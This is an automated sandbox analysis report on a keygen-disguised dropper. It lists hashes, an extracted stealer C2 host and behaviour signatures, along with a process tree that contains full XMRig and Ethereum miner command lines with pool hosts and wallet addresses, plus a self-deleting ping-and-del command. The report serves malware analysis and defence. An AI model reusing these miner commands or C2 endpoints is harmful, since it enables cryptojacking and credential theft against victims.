Resubmissions

24-04-2021 20:28

210424-hdvwe2nvza 10

24-04-2021 19:13

210424-ybjq8yj7ej 10

24-04-2021 19:13

210424-lbec8bsxas 10

24-04-2021 19:13

210424-p1q7nfdl5n 10

24-04-2021 19:13

210424-zsvmftzny6 10

24-04-2021 15:54

210424-bvebvx5d4j 10

24-04-2021 08:51

210424-fycslxztl2 10

24-04-2021 06:48

210424-dpw71r8bwa 10

Analysis

  • max time kernel
    37s
  • max time network
    59s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-04-2021 08:51

General

  • Target

    keygen-step-4.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 3 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 15 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:64
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2324
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2632
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2624
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2616
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2364
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1848
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1404
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1248
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1204
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1096
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                        PID:1044
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:640
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:2784
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2352
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2044
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:936
                          • C:\Users\Admin\AppData\Local\Temp\is-EIJSH.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-EIJSH.tmp\Install.tmp" /SL5="$60064,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:4052
                            • C:\Users\Admin\AppData\Local\Temp\is-4L4Q4.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-4L4Q4.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:3048
                              • C:\Program Files\Java\AXMSCKUKIF\ultramediaburner.exe
                                "C:\Program Files\Java\AXMSCKUKIF\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:1920
                                • C:\Users\Admin\AppData\Local\Temp\is-VT6QA.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-VT6QA.tmp\ultramediaburner.tmp" /SL5="$8005C,281924,62464,C:\Program Files\Java\AXMSCKUKIF\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:3968
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:3972
                              • C:\Users\Admin\AppData\Local\Temp\ba-60c58-551-431a2-8d1dca01d52d8\Goviruhaezhy.exe
                                "C:\Users\Admin\AppData\Local\Temp\ba-60c58-551-431a2-8d1dca01d52d8\Goviruhaezhy.exe"
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2200
                              • C:\Users\Admin\AppData\Local\Temp\1b-1ab0b-324-ad393-1e2027f6705b4\Wohopaekexae.exe
                                "C:\Users\Admin\AppData\Local\Temp\1b-1ab0b-324-ad393-1e2027f6705b4\Wohopaekexae.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4012
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ddzdd4z4.bmb\instEU.exe & exit
                                  6⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4776
                                  • C:\Users\Admin\AppData\Local\Temp\ddzdd4z4.bmb\instEU.exe
                                    C:\Users\Admin\AppData\Local\Temp\ddzdd4z4.bmb\instEU.exe
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4956
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4bxkadzl.1hv\md1_1eaf.exe & exit
                                  6⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4768
                                  • C:\Users\Admin\AppData\Local\Temp\4bxkadzl.1hv\md1_1eaf.exe
                                    C:\Users\Admin\AppData\Local\Temp\4bxkadzl.1hv\md1_1eaf.exe
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4104
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                          2⤵
                          • Executes dropped EXE
                          • Modifies system certificate store
                          • Suspicious use of WriteProcessMemory
                          PID:4168
                          • C:\Users\Admin\AppData\Roaming\560.tmp.exe
                            "C:\Users\Admin\AppData\Roaming\560.tmp.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:4676
                            • C:\Users\Admin\AppData\Roaming\560.tmp.exe
                              "C:\Users\Admin\AppData\Roaming\560.tmp.exe"
                              4⤵
                                PID:2464
                            • C:\Users\Admin\AppData\Roaming\83F.tmp.exe
                              "C:\Users\Admin\AppData\Roaming\83F.tmp.exe"
                              3⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Suspicious use of SetThreadContext
                              • Suspicious use of WriteProcessMemory
                              PID:4848
                              • C:\Windows\system32\msiexec.exe
                                -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w21234@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                4⤵
                                  PID:4660
                                • C:\Windows\system32\msiexec.exe
                                  -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w4410 --cpu-max-threads-hint 50 -r 9999
                                  4⤵
                                    PID:5112
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                  3⤵
                                    PID:4180
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping 127.0.0.1
                                      4⤵
                                      • Runs ping.exe
                                      PID:5100
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                  2⤵
                                    PID:5280
                                • \??\c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                  1⤵
                                  • Suspicious use of SetThreadContext
                                  • Modifies registry class
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:356
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                    2⤵
                                    • Drops file in System32 directory
                                    • Checks processor information in registry
                                    • Modifies data under HKEY_USERS
                                    • Modifies registry class
                                    PID:4028
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                  1⤵
                                  • Drops file in Windows directory
                                  • Modifies Internet Explorer settings
                                  • Modifies registry class
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4560
                                • C:\Windows\system32\browser_broker.exe
                                  C:\Windows\system32\browser_broker.exe -Embedding
                                  1⤵
                                  • Modifies Internet Explorer settings
                                  PID:4760
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies registry class
                                  • Suspicious use of SetWindowsHookEx
                                  PID:196
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies registry class
                                  PID:4300
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                    PID:4836
                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                    1⤵
                                      PID:5556

                                    Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • memory/64-168-0x0000027322C00000-0x0000027322C70000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/356-150-0x00000232459D0000-0x0000023245A40000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/356-146-0x0000023245910000-0x000002324595B000-memory.dmp

                                      Filesize

                                      300KB

                                    • memory/356-134-0x0000023245630000-0x0000023245632000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/936-176-0x0000000000400000-0x000000000042B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1044-163-0x0000026E7ECB0000-0x0000026E7ED20000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1096-157-0x0000025761D60000-0x0000025761DD0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1204-192-0x00000143C1F60000-0x00000143C1FD0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1248-194-0x00000167FB370000-0x00000167FB3E0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1404-169-0x000001930B880000-0x000001930B8F0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1848-189-0x000001F5312D0000-0x000001F531340000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1920-207-0x0000000000400000-0x0000000000416000-memory.dmp

                                      Filesize

                                      88KB

                                    • memory/2044-129-0x00000000028F0000-0x000000000290C000-memory.dmp

                                      Filesize

                                      112KB

                                    • memory/2044-130-0x0000000001030000-0x0000000001031000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2044-128-0x0000000000F10000-0x0000000000F11000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2044-132-0x0000000002940000-0x0000000002942000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/2044-126-0x0000000000800000-0x0000000000801000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2200-223-0x0000000002730000-0x0000000002732000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/2324-151-0x000002E654120000-0x000002E654190000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2352-131-0x0000000002BCC000-0x0000000002CCD000-memory.dmp

                                      Filesize

                                      1.0MB

                                    • memory/2352-144-0x0000000004570000-0x00000000045CC000-memory.dmp

                                      Filesize

                                      368KB

                                    • memory/2364-145-0x000001FF17DB0000-0x000001FF17E20000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2464-269-0x0000000000400000-0x0000000000447000-memory.dmp

                                      Filesize

                                      284KB

                                    • memory/2464-264-0x0000000000400000-0x0000000000447000-memory.dmp

                                      Filesize

                                      284KB

                                    • memory/2616-196-0x0000022B92270000-0x0000022B922E0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2624-199-0x0000025EC1740000-0x0000025EC17B0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2632-158-0x000002F435380000-0x000002F4353F0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/3048-203-0x0000000002B30000-0x0000000002B32000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/3968-221-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3972-238-0x0000000002F15000-0x0000000002F17000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/3972-237-0x0000000002F14000-0x0000000002F15000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3972-222-0x0000000002F10000-0x0000000002F12000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/3972-236-0x0000000002F12000-0x0000000002F14000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/4012-239-0x0000000002C35000-0x0000000002C36000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4012-228-0x0000000002C30000-0x0000000002C32000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/4012-235-0x0000000002C32000-0x0000000002C34000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/4028-162-0x000001FB059D0000-0x000001FB05A40000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/4028-211-0x000001FB08000000-0x000001FB080FF000-memory.dmp

                                      Filesize

                                      1020KB

                                    • memory/4052-198-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4104-279-0x0000000003720000-0x0000000003730000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/4104-272-0x0000000003580000-0x0000000003590000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/4168-232-0x0000000000760000-0x000000000076D000-memory.dmp

                                      Filesize

                                      52KB

                                    • memory/4168-254-0x0000000003680000-0x00000000036C8000-memory.dmp

                                      Filesize

                                      288KB

                                    • memory/4660-258-0x0000000140000000-0x0000000140383000-memory.dmp

                                      Filesize

                                      3.5MB

                                    • memory/4660-260-0x0000000140000000-0x0000000140383000-memory.dmp

                                      Filesize

                                      3.5MB

                                    • memory/4676-268-0x0000000002C30000-0x0000000002D7A000-memory.dmp

                                      Filesize

                                      1.3MB

                                    • memory/4956-246-0x00000000005B0000-0x00000000005C2000-memory.dmp

                                      Filesize

                                      72KB

                                    • memory/4956-245-0x0000000000580000-0x0000000000590000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/5112-261-0x0000000140000000-0x000000014070A000-memory.dmp

                                      Filesize

                                      7.0MB

                                    • memory/5112-267-0x0000000140000000-0x000000014070A000-memory.dmp

                                      Filesize

                                      7.0MB

                                    • memory/5112-291-0x00000146BB5E0000-0x00000146BB600000-memory.dmp

                                      Filesize

                                      128KB

                                    • memory/5112-263-0x00000146B9CF0000-0x00000146B9D04000-memory.dmp

                                      Filesize

                                      80KB